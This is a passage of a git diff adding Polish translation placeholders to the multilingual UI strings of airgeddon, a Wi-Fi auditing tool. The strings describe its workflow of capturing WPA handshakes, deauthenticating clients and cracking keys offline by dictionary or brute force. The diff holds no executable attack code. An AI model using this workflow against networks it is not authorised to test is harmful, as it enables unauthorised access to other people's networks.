clientes y forzarles a reconectar" @@ -1765,6 +1908,7 @@ function language_strings() { arr["RUSSIAN",143]="Будут открыты два окна. Одно с захватчиком рукопожатия, а другое с атакой для принудительного переподключения клиентов" arr["GREEK",143]="Θα ανοίξουν δύο παράθυρα. Ένα με τον καταγραφέα Χειραψίας, και ένα με την επίθεση εξαναγκασμένης επανασύνδεσης των χρηστών" arr["ITALIAN",143]="Si apriranno due finestre. Una con il catturatore dell'Handshake, l'altra con l'attacco per cacciare i clienti e costringerli a riconnettersi" + arr["POLISH",143]="${pending_of_translation} " arr["ENGLISH",144]="Don't close any window manually, script will do when needed. In about 20 seconds maximum you'll know if you've got the Handshake" arr["SPANISH",144]="No cierres manualmente ninguna ventana, el script lo hará cuando proceda. En unos 20 segundos como máximo sabrás si conseguiste el Handshake" @@ -1774,6 +1918,7 @@ function language_strings() { arr["RUSSIAN",144]="Не закрывайте вручную какое-либо окно, скрипт сделает это когда нужно. Примерно в максимум 20 секунд вы узнаете, получили ли вы рукопожатие" arr["GREEK",144]="Μην επιχειρήσετε το κλείσιμο κάποιου παραθύρου χειροκίνητα, εάν χρειαστεί το script θα το κάνει μόνο του. Σε περίπου 20 δευτερόλεπτα το μέγιστο θα μάθετε αν αποκτήσατε την Χειραψία" arr["ITALIAN",144]="Non chiudere nessuna finestra manualmente, lo script lo fará cuando necessario. In 20 secondi al massimo scoprirai se hai catturato l'Handshake" + arr["POLISH",144]="${pending_of_translation} " arr["ENGLISH",145]="Did you get the Handshake? ${pink_color}(Look at the top right corner of the capture window) ${normal_color}${visual_choice}" arr["SPANISH",145]="¿Conseguiste el Handshake? ${pink_color}(Mira en la parte superior derecha de la ventana de captura) ${normal_color}${visual_choice}" @@ -1783,6 +1928,7 @@ function language_strings() { arr["RUSSIAN",145]="Вы получили рукопожатие? ${pink_color}(Смотрите на верхний правый угол окна захвата) ${normal_color}${visual_choice}" arr["GREEK",145]="Πήρατε την Χειραψία; ${pink_color}(Κοιτάξτε στη πάνω δεξιά γωνία του παραθύρου) ${normal_color}${visual_choice}" arr["ITALIAN",145]="Hai catturato l'Handshake? ${pink_color}(Guarda nell'angolo in alto a destra della finestra di cattura) ${normal_color}${visual_choice}" + arr["POLISH",145]="${pending_of_translation} " arr["ENGLISH",146]="It seems we failed... try it again or choose another attack" arr["SPANISH",146]="Parece que no lo hemos conseguido... inténtalo de nuevo o elige otro ataque" @@ -1792,6 +1938,7 @@ function language_strings() { arr["RUSSIAN",146]="Кажется мы потерпели неудачу... попробуйте снова или выберите другую атаку" arr["GREEK",146]="Φαίνεται πως αποτύχαμε... προσπαθήστε ξανά ή επιλέξτε άλλη επίθεση" arr["ITALIAN",146]="Sembra che abbiamo fallito... riprovare o scegliere un altro attacco" + arr["POLISH",146]="${pending_of_translation} " arr["ENGLISH",147]="4. Return to Handshake tools menu" arr["SPANISH",147]="4. Volver al menú de herramientas Handshake" @@ -1801,6 +1948,7 @@ function language_strings() { arr["RUSSIAN",147]="4. Возврат в меню инструментов для работы с рукопожатием" arr["GREEK",147]="4. Επιστροφή στο μενού με τα εργαλεία Χειραψίας" arr["ITALIAN",147]="4. Torna al menu degli strumenti dell'Handshake" + arr["POLISH",147]="${pending_of_translation} " arr["ENGLISH",148]="Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${handshakepath}]" arr["SPANISH",148]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${handshakepath}]" @@ -1810,6 +1958,7 @@ function language_strings() { arr["RUSSIAN",148]="Напечатайте путь, по которому сохранить файл или нажмите [Enter] для принятия предложения по умолчанию ${normal_color}[${handshakepath}]" arr["GREEK",148]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${handshakepath}]" arr["ITALIAN",148]="Scrivere il percorso dove memorizzare il file o premere [Enter] per accettare la proposta di default ${normal_color}[${handshakepath}]" + arr["POLISH",148]="${pending_of_translation} " arr["ENGLISH",149]="Handshake file generated successfully at [${normal_color}${enteredpath}${blue_color}]" arr["SPANISH",149]="Fichero de Handshake generado con éxito en [${normal_color}${enteredpath}${blue_color}]" @@ -1819,6 +1968,7 @@ function language_strings() { arr["RUSSIAN",149]="Файл рукопожатия успешно создан в [${normal_color}${enteredpath}${blue_color}]" arr["GREEK",149]="Το αρχείο Χειραψίας δημιουργήθηκε επιτυχώς στο [${normal_color}${enteredpath}${blue_color}]" arr["ITALIAN",149]="Handshake del file generato con successo in [${normal_color}${enteredpath}${blue_color}]" + arr["POLISH",149]="${pending_of_translation} " arr["ENGLISH",150]="No captured Handshake file detected during this session..." arr["SPANISH",150]="No se ha detectado ningún fichero de Handshake capturado en esta sesión..." @@ -1828,6 +1978,7 @@ function language_strings() { arr["RUSSIAN",150]="За эту сессию не обнаружено захваченного рукопожатия..." arr["GREEK",150]="Δεν εντοπίστηκε κάποιο αρχείο καταγραφής Χειραψίας κατά τη διάρκεια της συνεδρίας..." arr["ITALIAN",150]="Non è stato trovato nessun file di Handshake catturato in questa sessione..." + arr["POLISH",150]="${pending_of_translation} " arr["ENGLISH",151]="Handshake captured file detected during this session [${normal_color}${enteredpath}${blue_color}]" arr["SPANISH",151]="Se ha detectado un fichero de Handshake capturado en esta sesión [${normal_color}${enteredpath}${blue_color}]" @@ -1837,6 +1988,7 @@ function language_strings() { arr["RUSSIAN",151]="В этой сессии обнаружен файл с захваченным рукопожатием [${normal_color}${enteredpath}${blue_color}]" arr["GREEK",151]="Εντοπίστηκε αρχείο καταγραφής Χειραψίας κατά τη διάρκεια της συνεδρίας [${normal_color}${enteredpath}${blue_color}]" arr["ITALIAN",151]="Trovato un file di Handshake catturato in questa sessione [${normal_color}${enteredpath}${blue_color}]" + arr["POLISH",151]="${pending_of_translation} " arr["ENGLISH",152]="Do you want to clean/optimize the Handshake captured file during this session? ${normal_color}${visual_choice}" arr["SPANISH",152]="¿Quieres limpiar/optimizar el fichero de Handshake capturado en esta sesión? ${normal_color}${visual_choice}" @@ -1846,6 +1998,7 @@ function language_strings() { arr["RUSSIAN",152]="Вы хотите очистить/оптимизировать захваченный за эту сессию файл рукопожания? ${normal_color}${visual_choice}" arr["GREEK",152]="Θέλετε να καθαρίσετε/βελτιστοποιήσετε το αρχείο καταγραφής Χειραψίας της συνεδρίας; ${normal_color}${visual_choice}" arr["ITALIAN",152]="Vuoi pulire/ottimizzare il file di Handshake catturato in questa sessione? ${normal_color}${visual_choice}" + arr["POLISH",152]="${pending_of_translation} " arr["ENGLISH",153]="File cleaned/optimized successfully" arr["SPANISH",153]="Fichero limpiado/optimizado con éxito" @@ -1855,6 +2008,7 @@ function language_strings() { arr["RUSSIAN",153]="Файл успешно очищен/оптимизирован" arr["GREEK",153]="Το αρχείο καθαρίστηκε/βελτιστοποιήθηκε επιτυχώς" arr["ITALIAN",153]="File pulito/ottimizzato con successo" + arr["POLISH",153]="${pending_of_translation} " arr["ENGLISH",154]="Set path to file :" arr["SPANISH",154]="Introduce la ruta al fichero :" @@ -1864,6 +2018,7 @@ function language_strings() { arr["RUSSIAN",154]="Установить путь до файла :" arr["GREEK",154]="Θέστε μονοπάτι για το αρχείο :" arr["ITALIAN",154]="Introdurre il percorso del file :" + arr["POLISH",154]="${pending_of_translation} " arr["ENGLISH",155]="The directory exists but you didn't specify filename. It will be autogenerated [${normal_color}${suggested_filename}${yellow_color}]" arr["SPANISH",155]="El directorio existe pero no se especificó nombre de fichero. Se autogenerará [${normal_color}${suggested_filename}${yellow_color}]" @@ -1873,6 +2028,7 @@ function language_strings() { arr["RUSSIAN",155]="Директория существует, но вы не указали имя файла. Оно будет сгенерировано автоматически [${normal_color}${suggested_filename}${yellow_color}]" arr["GREEK",155]="Ο κατάλογος υπάρχει αλλά δεν έχετε προσδιορίσει το όνομα του αρχείου [${normal_color}${suggested_filename}${yellow_color}]" arr["ITALIAN",155]="La directory esiste, peró non è stato specificato il nome del file. Sarà generato automaticamente [${normal_color}${suggested_filename}${yellow_color}]" + arr["POLISH",155]="${pending_of_translation} " arr["ENGLISH",156]="Directory not exists" arr["SPANISH",156]="El directorio no existe" @@ -1882,6 +2038,7 @@ function language_strings() { arr["RUSSIAN",156]="Директория не существует" arr["GREEK",156]="Ο κατάλογος δεν υπάρχει" arr["ITALIAN",156]="La directory non esiste" + arr["POLISH",156]="${pending_of_translation} " arr["ENGLISH",157]="The path exists but you don't have write permissions" arr["SPANISH",157]="La ruta existe pero no tienes permisos de escritura" @@ -1891,6 +2048,7 @@ function language_strings() { arr["RUSSIAN",157]="Путь существует, но у вас нет прав на запись" arr["GREEK",157]="Το μονοπάτι υπάρχει, αλλά δεν έχετε δικαιώματα εγγραφής" arr["ITALIAN",157]="Il percorso esiste, ma non si dispone dei permessi di scrittura" + arr["POLISH",157]="${pending_of_translation} " arr["ENGLISH",158]="The path is valid and you have write permissions. Script can continue..." arr["SPANISH",158]="La ruta es válida y tienes permisos de escritura. El script puede continuar..." @@ -1900,6 +2058,7 @@ function language_strings() { arr["RUSSIAN",158]="Путь существует и у вас есть права на запись. Скрипт может продолжить..." arr["GREEK",158]="Το μονοπάτι είναι έγκυρο και έχετε δικαιώματα εγγραφής. Το script μπορεί να συνεχίσει..." arr["ITALIAN",158]="Il percorso è valido e si dispone di permessi di scrittura. Lo script può continuare..." + arr["POLISH",158]="${pending_of_translation} " arr["ENGLISH",159]="The file doesn't need to be cleaned/optimized" arr["SPANISH",159]="El fichero no necesita ser limpiado/optimizado" @@ -1909,6 +2068,7 @@ function language_strings() { arr["RUSSIAN",159]="Файлу не требуется очистка/оптимизация" arr["GREEK",159]="Το αρχείο δεν χρειάζεται να καθαριστεί/βελτιστοποιηθεί" arr["ITALIAN",159]="Il file non ha bisogno di essere pulito/ottimizzato" + arr["POLISH",159]="${pending_of_translation} " arr["ENGLISH",160]="No tasks to perform on exit" arr["SPANISH",160]="No hay que realizar ninguna tarea a la salida" @@ -1918,6 +2078,7 @@ function language_strings() { arr["RUSSIAN",160]="Нет задач для выполнения перед выходом" arr["GREEK",160]="Δεν απομένει κάποιο task για να εκτελεστεί στην έξοδο" arr["ITALIAN",160]="Non bisogna fare niente dopo l'uscita dello script" + arr["POLISH",160]="${pending_of_translation} " arr["ENGLISH",161]="File not exists" arr["SPANISH",161]="El fichero no existe" @@ -1927,6 +2088,7 @@ function language_strings() { arr["RUSSIAN",161]="Файл не существует" arr["GREEK",161]="Το αρχείο δεν υπάρχει" arr["ITALIAN",161]="Il file non esiste" + arr["POLISH",161]="${pending_of_translation} " arr["ENGLISH",162]="Congratulations!!" arr["SPANISH",162]="Enhorabuena!!" @@ -1936,6 +2098,7 @@ function language_strings() { arr["RUSSIAN",162]="Поздравления!!" arr["GREEK",162]="Συγχαρητήρια!!" arr["ITALIAN",162]="Congratulazioni!!" + arr["POLISH",162]="${pending_of_translation} " arr["ENGLISH",163]="When airgeddon requests you to enter a path to a file either to use a dictionary, a Handshake or anything else, did you know that you can drag and drop the file over the airgeddon window? In this way you don't have to type the path manually" arr["SPANISH",163]="Cuando airgeddon solicita que introduzcas una ruta a un fichero ya sea para utilizar un diccionario, un Handshake o cualquier otra cosa, ¿sabías que puedes arrastrar y soltar el fichero sobre la ventana de airgeddon? Así no tendrás que escribir la ruta manualmente" @@ -1945,6 +2108,7 @@ function language_strings() { arr["RUSSIAN",163]="Когда airgeddon просит вас ввести путь до файла, будь то словарь, рукопожатие или что-то ещё, знаете ли вы, что можно захватить этот файл мышкой, перетащить и бросить этот файл прямо в окно airgeddon? Таким образом вам не придётся вводить путь до файла вручную" arr["GREEK",163]="Γνωρίζατε ότι μπορείτε να εισάγετε μονοπάτι για κάποιο αρχείο είτε για να χρησιμοποιήσετε λεξικό, αρχείο Χειραψίας ή οτιδήποτε άλλο, κάνοντας Drag & Drop το αρχείο αυτό στο παράθυρο του airgeddon; Με αυτόν τον τρόπο δεν χρειάζεται να πλεικτρολογείτε το μονοπάτι χειροκίνητα" arr["ITALIAN",163]="Quando airgeddon chiede di introdurre il percorso di un file per utilizzare un dizionario, un Handshake o qualsiasi altra cosa, sapevi che puoi trascinare e rilasciare il file sulla finestra di airgeddon? Cosí non dovrai digitare manualmente il percorso" + arr["POLISH",163]="${pending_of_translation} " arr["ENGLISH",164]="Cleaning temp files" arr["SPANISH",164]="Limpiando archivos temporales" @@ -1954,6 +2118,7 @@ function language_strings() { arr["RUSSIAN",164]="Очистка временных файлов" arr["GREEK",164]="Γίνεται καθαρισμός προσωρινών αρχείων" arr["ITALIAN",164]="Pulendo i file temporanei" + arr["POLISH",164]="${pending_of_translation} " arr["ENGLISH",165]="Checking if cleaning/restoring tasks are needed..." arr["SPANISH",165]="Comprobando si hay que realizar tareas de limpieza/restauración..." @@ -1963,6 +2128,7 @@ function language_strings() { arr["RUSSIAN",165]="Проверка, нужны ли задачи по очистке/восстановлению..." arr["GREEK",165]="Γίνεται έλεγχος αν χρειάζονται tasks καθαρισμού/αποκατάστασης..." arr["ITALIAN",165]="Verificando se è necessarrio eseguire la pulizia/restauro..." + arr["POLISH",165]="${pending_of_translation} " arr["ENGLISH",166]="Do you want to preserve monitor mode for your card on exit? ${normal_color}${visual_choice}" arr["SPANISH",166]="¿Deseas conservar el modo monitor de tu interfaz al salir? ${normal_color}${visual_choice}" @@ -1972,6 +2138,7 @@ function language_strings() { arr["RUSSIAN",166]="Вы хотите сохранить режим монитора вашей карты при выходе? ${normal_color}${visual_choice}" arr["GREEK",166]="Θέλετε να παραμείνει η κάρτα σε κατάσταση παρακολούθησης κατά την έξοδο; ${normal_color}${visual_choice}" arr["ITALIAN",166]="Vuoi mantenere l'interfaccia in modalità monitor dopo essere uscito? ${normal_color}${visual_choice}" + arr["POLISH",166]="${pending_of_translation} " arr["ENGLISH",167]="Putting your interface in managed mode" arr["SPANISH",167]="Poniendo interfaz en modo managed" @@ -1981,6 +2148,7 @@ function language_strings() { arr["RUSSIAN",167]="Перевод вашего интерфейса в управляемый режим" arr["GREEK",167]="Η διεπαφή μπαίνει σε ετερόκλητη κατάσταση" arr["ITALIAN",167]="Mettendo l'interfaccia in modalità managed" + arr["POLISH",167]="${pending_of_translation} " arr["ENGLISH",168]="Launching previously killed processes" arr["SPANISH",168]="Arrancando procesos cerrados anteriormente" @@ -1990,6 +2158,7 @@ function language_strings() { arr["RUSSIAN",168]="Запуск ранее убитых процессов" arr["GREEK",168]="Γίνεται έναρξη των προηγούμενων σταματημένων διεργασιών" arr["ITALIAN",168]="Lanciando i processi chiusi precedentemente" + arr["POLISH",168]="${pending_of_translation} " arr["ENGLISH",169]="6. Offline WPA/WPA2 decrypt menu" arr["SPANISH",169]="6. Menú de desencriptado WPA/WPA2 offline" @@ -1999,6 +2168,7 @@ function language_strings() { arr["RUSSIAN",169]="6. Меню офлайн расшифровки WPA/WPA2" arr["GREEK",169]="6. Μενού offline αποκρυπτογράφησης WPA/WPA2" arr["ITALIAN",169]="6. Menù per decifrare WPA/WPA2 offline" + arr["POLISH",169]="${pending_of_translation} " arr["ENGLISH",170]="Offline WPA/WPA2 decrypt menu" arr["SPANISH",170]="Menú de desencriptado WPA/WPA2 offline" @@ -2008,6 +2178,7 @@ function language_strings() { arr["RUSSIAN",170]="Меню офлайн расшифровки WPA/WPA2" arr["GREEK",170]="Μενού offline αποκρυπτογράφησης WPA/WPA2" arr["ITALIAN",170]="Menù per decifrare WPA/WPA2 offline" + arr["POLISH",170]="${pending_of_translation} " arr["ENGLISH",171]="The key decrypt process is performed offline on a previously captured file" arr["SPANISH",171]="El proceso de desencriptado de las claves se realiza de manera offline sobre un fichero capturado previamente" @@ -2017,6 +2188,7 @@ function language_strings() { arr["RUSSIAN",171]="Процесс расшифровки ключа выполняется офлайн на ранее захваченном файле" arr["GREEK",171]="Η διεργασία αποκρυπτογράφησης κλειδιού έχει εκτελεστεί offline σε προηγούμενο αρχείο καταγραφής" arr["ITALIAN",171]="Il processo di decodifica della chiave viene eseguito offline su un file catturato precedentemente" + arr["POLISH",171]="${pending_of_translation} " arr["ENGLISH",172]="1. (aircrack) Dictionary attack against capture file" arr["SPANISH",172]="1. (aircrack) Ataque de diccionario sobre fichero de captura" @@ -2026,6 +2198,7 @@ function language_strings() { arr["RUSSIAN",172]="1. (aircrack) Атака по словарю в отношении захваченного файла" arr["GREEK",172]="1. (aircrack) Επίθεση με χρήση λεξικού σε αρχείο καταγραφής" arr["ITALIAN",172]="1. (aircrack) Attacco dizionario sul file di cattura" + arr["POLISH",172]="${pending_of_translation} " arr["ENGLISH",173]="Selected capture file: ${pink_color}${enteredpath}${normal_color}" arr["SPANISH",173]="Fichero de captura seleccionado: ${pink_color}${enteredpath}${normal_color}" @@ -2035,6 +2208,7 @@ function language_strings() { arr["RUSSIAN",173]="Выбранный файл захвата: ${pink_color}${enteredpath}${normal_color}" arr["GREEK",173]="Επιλεγμένο αρχείο καταγραφής: ${pink_color}${enteredpath}${normal_color}" arr["ITALIAN",173]="File di cattura selezionato: ${pink_color}${enteredpath}${normal_color}" + arr["POLISH",173]="${pending_of_translation} " arr["ENGLISH",174]="6. Return to main menu" arr["SPANISH",174]="6. Volver al menú principal" @@ -2044,6 +2218,7 @@ function language_strings() { arr["RUSSIAN",174]="6. Возврат в главное меню" arr["GREEK",174]="6. Επιστροφή στο αρχικό μενού" arr["ITALIAN",174]="6. Torna al menú principale" + arr["POLISH",174]="${pending_of_translation} " arr["ENGLISH",175]="2. (aircrack + crunch) Bruteforce attack against capture file" arr["SPANISH",175]="2. (aircrack + crunch) Ataque de fuerza bruta sobre fichero de captura" @@ -2053,6 +2228,7 @@ function language_strings() { arr["RUSSIAN",175]="2. (aircrack + crunch) Атака методом грубой силы в отношении захваченного файла" arr["GREEK",175]="2. (aircrack + crunch) Επίθεση ωμής βίας σε αρχείο καταγραφής" arr["ITALIAN",175]="2. (aircrack + crunch) Attacco di forza bruta sul file di cattura" + arr["POLISH",175]="${pending_of_translation} " arr["ENGLISH",176]="aircrack CPU, non GPU attacks" arr["SPANISH",176]="ataques aircrack CPU, no GPU" @@ -2062,6 +2238,7 @@ function language_strings() { arr["RUSSIAN",176]="aircrack атаки с использованием процессора, а не видеокарты" arr["GREEK",176]="επιθέσεις aircrack CPU, όχι GPU" arr["ITALIAN",176]="attacchi aircrack CPU, non GPU" + arr["POLISH",176]="${pending_of_translation} " arr["ENGLISH",177]="Selected captured file: ${pink_color}None${normal_color}" arr["SPANISH",177]="Fichero capturado seleccionado: ${pink_color}Ninguno${normal_color}" @@ -2071,6 +2248,7 @@ function language_strings() { arr["RUSSIAN",177]="Выбран файл захвата: ${pink_color}Нет${normal_color}" arr["GREEK",177]="Επιλεγμένο αρχείο καταγραφής: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",177]="File catturato selezionato: ${pink_color}Nessuno${normal_color}" + arr["POLISH",177]="${pending_of_translation} " arr["ENGLISH",178]="To decrypt the key of a WPA/WPA2 network, the capture file must contain a Handshake" arr["SPANISH",178]="Para desencriptar la clave de una red WPA/WPA2, el fichero de captura debe contener un Handshake" @@ -2080,6 +2258,7 @@ function language_strings() { arr["RUSSIAN",178]="Для расшифровки ключа сетей WPA/WPA2, файл захвата должен содержать четырёхэтапное рукопожатие" arr["GREEK",178]="Για να αποκρυπτογραφήσετε το κλειδί ενός WPA/WPA2 δικτύου, το αρχείο καταγραφής πρέπει να περιέχει μία Χειραψία" arr["ITALIAN",178]="Per decriptare la chiave per una rete WPA/WPA2, il file di cattura deve contenere un Handshake" + arr["POLISH",178]="${pending_of_translation} " arr["ENGLISH",179]="Decrypting by bruteforce, it could pass hours, days, weeks or even months to take it depending on the complexity of the password and your processing speed" arr["SPANISH",179]="Desencriptando por fuerza bruta, podrían pasar horas, días, semanas o incluso meses hasta conseguirlo dependiendo de la complejidad de la contraseña y de tu velocidad de proceso" @@ -2089,6 +2268,7 @@ function language_strings() { arr["RUSSIAN",179]="Расшифровка полным перебором может занять часы, дни, недели или даже месяцы в зависимости от сложности пароля и вашей скорости обработки" arr["GREEK",179]="Αποκρυπτογραφώντας με χρήση ωμής βίας, μπορεί να περάσουν ώρες, μέρες, εβδομάδες ή ακόμη και μήνες για να το αποκτήσετε έχοντας υπόψιν την πολυπλοκότητα του κωδικού πρόσβασης και την ταχύτητα του επεξεργαστή" arr["ITALIAN",179]="Decifrando con forza bruta, potrebbero trascorrere ore, giorni, settimane o addirittura mesi per ottenere la password a seconda della sua complessità e della velocità del processore" + arr["POLISH",179]="${pending_of_translation} " arr["ENGLISH",180]="Enter the path of a dictionary file :" arr["SPANISH",180]="Introduce la ruta de un fichero de diccionario :" @@ -2098,6 +2278,7 @@ function language_strings() { arr["RUSSIAN",180]="Введите путь до файла словаря :" arr["GREEK",180]="Εισάγετε το μονοπάτι ενός λεξικού :" arr["ITALIAN",180]="Immettere il percorso di un file dizionario :" + arr["POLISH",180]="${pending_of_translation} " arr["ENGLISH",181]="The path to the dictionary file is valid. Script can continue..." arr["SPANISH",181]="La ruta al fichero de diccionario es válida. El script puede continuar..." @@ -2107,6 +2288,7 @@ function language_strings() { arr["RUSSIAN",181]="Путь до файла словаря правильный. Скрипт может продолжить..." arr["GREEK",181]="Το μονοπάτι για το λεξικό είναι έγκυρο. Το script μπορεί να συνεχίσει..." arr["ITALIAN",181]="Il percorso del file dizionario è valido. Lo script può continuare..." + arr["POLISH",181]="${pending_of_translation} " arr["ENGLISH",182]="Selected dictionary file: ${pink_color}${DICTIONARY}${normal_color}" arr["SPANISH",182]="Fichero de diccionario seleccionado: ${pink_color}${DICTIONARY}${normal_color}" @@ -2116,6 +2298,7 @@ function language_strings() { arr["RUSSIAN",182]="Выбранный файл словаря: ${pink_color}${DICTIONARY}${normal_color}" arr["GREEK",182]="Επιλεγμένο λεξικό: ${pink_color}${DICTIONARY}${normal_color}" arr["ITALIAN",182]="File di dizionario selezionato: ${pink_color}${DICTIONARY}${normal_color}" + arr["POLISH",182]="${pending_of_translation} " arr["ENGLISH",183]="You already have selected a dictionary file during this session [${normal_color}${DICTIONARY}${blue_color}]" arr["SPANISH",183]="Ya tienes seleccionado un fichero de diccionario en esta sesión [${normal_color}${DICTIONARY}${blue_color}]" @@ -2125,6 +2308,7 @@ function language_strings() { arr["RUSSIAN",183]="Во время этой сессии вы выбрали файл словаря [${normal_color}${DICTIONARY}${blue_color}]" arr["GREEK",183]="Έχετε ήδη επιλέξει λεξικό κατά τη διάρκεια της συνεδρίας [${normal_color}${DICTIONARY}${blue_color}]" arr["ITALIAN",183]="È stato selezionato un file di dizionario in questa sessione [${normal_color}${DICTIONARY}${blue_color}]" + arr["POLISH",183]="${pending_of_translation} " arr["ENGLISH",184]="Do you want to use this already selected dictionary file? ${normal_color}${visual_choice}" arr["SPANISH",184]="¿Quieres utilizar este fichero de diccionario ya seleccionado? ${normal_color}${visual_choice}" @@ -2134,6 +2318,7 @@ function language_strings() { arr["RUSSIAN",184]="Вы хотите использовать этот уже выбранный файл словаря? ${normal_color}${visual_choice}" arr["GREEK",184]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο λεξικό; ${normal_color}${visual_choice}" arr["ITALIAN",184]="Vuoi utilizzare questo file di dizionario già selezionato? ${normal_color}${visual_choice}" + arr["POLISH",184]="${pending_of_translation} " arr["ENGLISH",185]="Selected BSSID: ${pink_color}None${normal_color}" arr["SPANISH",185]="BSSID seleccionado: ${pink_color}Ninguno${normal_color}" @@ -2143,6 +2328,7 @@ function language_strings() { arr["RUSSIAN",185]="Выбранная BSSID: ${pink_color}Нет${normal_color}" arr["GREEK",185]="Επιλεγμένο BSSID: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",185]="BSSID selezionato: ${pink_color}Nessuno${normal_color}" + arr["POLISH",185]="${pending_of_translation} " arr["ENGLISH",186]="You already have selected a capture file during this session [${normal_color}${enteredpath}${blue_color}]" arr["SPANISH",186]="Ya tienes seleccionado un fichero de captura en esta sesión [${normal_color}${enteredpath}${blue_color}]" @@ -2152,6 +2338,7 @@ function language_strings() { arr["RUSSIAN",186]="Вы уже выбрали файл захвата во время этой сессии [${normal_color}${enteredpath}${blue_color}]" arr["GREEK",186]="Έχετε ήδη επιλέξει αρχείο καταγραφής κατά τη διάρκεια της συνεδρίας [${normal_color}${enteredpath}${blue_color}]" arr["ITALIAN",186]="È stato selezionato un file di cattura in questa sessione [${normal_color}${enteredpath}${blue_color}]" + arr["POLISH",186]="${pending_of_translation} " arr["ENGLISH",187]="Do you want to use this already selected capture file? ${normal_color}${visual_choice}" arr["SPANISH",187]="¿Quieres utilizar este fichero de captura ya seleccionado? ${normal_color}${visual_choice}" @@ -2161,6 +2348,7 @@ function language_strings() { arr["RUSSIAN",187]="Вы хотите использовать этот уже выбранный файл захвата? ${normal_color}${visual_choice}" arr["GREEK",187]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο αρχείο καταγραφής; ${normal_color}${visual_choice}" arr["ITALIAN",187]="Vuoi utilizzare questo file di cattura giá selezionato? ${normal_color}${visual_choice}" + arr["POLISH",187]="${pending_of_translation} " arr["ENGLISH",188]="Enter the path of a captured file :" arr["SPANISH",188]="Introduce la ruta de un fichero de captura :" @@ -2170,6 +2358,7 @@ function language_strings() { arr["RUSSIAN",188]="Введите путь файла захвата :" arr["GREEK",188]="Εισάγετε το μονοπάτι για ένα αρχείο καταγραφής :" arr["ITALIAN",188]="Immettere il percorso di un file di cattura :" + arr["POLISH",188]="${pending_of_translation} " arr["ENGLISH",189]="The path to the capture file is valid. Script can continue..." arr["SPANISH",189]="La ruta al fichero de captura es válida. El script puede continuar..." @@ -2179,6 +2368,7 @@ function language_strings() { arr["RUSSIAN",189]="Путь до файла захвата верен. Скрипт может продолжать..." arr["GREEK",189]="Το μονοπάτι για το αρχείο καταγραφής είναι έγκυρο. Το script μπορεί να συνεχίσει..." arr["ITALIAN",189]="Il percorso del file di cattura è valido. Lo script può continuare..." + arr["POLISH",189]="${pending_of_translation} " arr["ENGLISH",190]="Starting decrypt. When started, press [Ctrl+C] to stop..." arr["SPANISH",190]="Comenzando desencriptado. Una vez empezado, pulse [Ctrl+C] para pararlo..." @@ -2188,6 +2378,7 @@ function language_strings() { arr["RUSSIAN",190]="Начало расшифровки. После запуска, нажмите [Ctrl+C] для остановки..." arr["GREEK",190]="Γίνεται έναρξη αποκρυπτογράφησης. Όταν ξεκινήσει, πατήστε [Ctrl+C] για να σταματήσει..." arr["ITALIAN",190]="Cominciando a decifrare. Una volta avviato, premere [Ctrl+C] per fermare..." + arr["POLISH",190]="${pending_of_translation} " arr["ENGLISH",191]="${blue_color}airgeddon can't find the directory path where you have BeEF installed. ${green_color}Do you want to enter it manually? ${normal_color}${visual_choice}" arr["SPANISH",191]="${blue_color}airgeddon no ha podido encontrar la ruta del directorio donde tienes instalado BeEF. ${green_color}¿Quieres introducirla manualmente? ${normal_color}${visual_choice}" @@ -2197,6 +2388,7 @@ function language_strings() { arr["RUSSIAN",191]="${blue_color}airgeddon не может найти путь к каталогу, где вы установили BeEF. ${green_color}Вы хотите ввести его вручную? ${normal_color}${visual_choice}" arr["GREEK",191]="${blue_color}Το airgeddon δεν μπορεί να βρει το μονοπάτι για τον κατάλογο όπου έχετε εγκαταστημένο το BeEF. ${green_color}Θέλετε να το εισάγετε χειροκίνητα; ${normal_color}${visual_choice}" arr["ITALIAN",191]="${blue_color}airgeddon non ha potuto trovare il percorso della directory in cui è stato installato BeEF. ${green_color}Vuoi inserirlo manualmente? ${normal_color}${visual_choice}" + arr["POLISH",191]="${pending_of_translation} " arr["ENGLISH",192]="You already have selected a BSSID during this session and is present in capture file [${normal_color}${bssid}${blue_color}]" arr["SPANISH",192]="Ya tienes seleccionado un BSSID en esta sesión y está presente en el fichero de captura [${normal_color}${bssid}${blue_color}]" @@ -2206,6 +2398,7 @@ function language_strings() { arr["RUSSIAN",192]="У вас уже есть выбранная во время этой сессии BSSID и она присутствует в файле захвата [${normal_color}${bssid}${blue_color}]" arr["GREEK",192]="Έχετε ήδη επιλέξει BSSID κατά τη διάρκεια της συνεδρίας και βρίσκεται στο αρχείο καταγραφής [${normal_color}${bssid}${blue_color}]" arr["ITALIAN",192]="È stato selezionato un BSSID in questa sessione che è giá presente nel file di cattura [${normal_color}${bssid}${blue_color}]" + arr["POLISH",192]="${pending_of_translation} " arr["ENGLISH",193]="Do you want to use this already selected BSSID? ${normal_color}${visual_choice}" arr["SPANISH",193]="¿Quieres utilizar este BSSID ya seleccionado? ${normal_color}${visual_choice}" @@ -2215,6 +2408,7 @@ function language_strings() { arr["RUSSIAN",193]="Вы хотите использовать эту уже выбранную BSSID? ${normal_color}${visual_choice}" arr["GREEK",193]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο BSSID; ${normal_color}${visual_choice}" arr["ITALIAN",193]="Vuoi usare questo BSSID già selezionato? ${normal_color}${visual_choice}" + arr["POLISH",193]="${pending_of_translation} " arr["ENGLISH",194]="Enter the minimum length of the key to decrypt (8-63) :" arr["SPANISH",194]="Introduce la longitud mínima de la clave a desencriptar (8-63) :" @@ -2224,6 +2418,7 @@ function language_strings() { arr["RUSSIAN",194]="Введите минимальную длину ключа для расшифровки (8-63) :" arr["GREEK",194]="Εισάγετε το ελάχιστο μήκος κλειδιού για αποκρυπτογράφηση (8-63) :" arr["ITALIAN",194]="Inserire la lunghezza minima della chiave da decifrare (8-63) :" + arr["POLISH",194]="${pending_of_translation} " arr["ENGLISH",195]="Enter the maximum length of the key to decrypt (${minlength}-63) :" arr["SPANISH",195]="Introduce la longitud máxima de la clave a desencriptar (${minlength}-63) :" @@ -2233,6 +2428,7 @@ function language_strings() { arr["RUSSIAN",195]="Введите максимальную длину 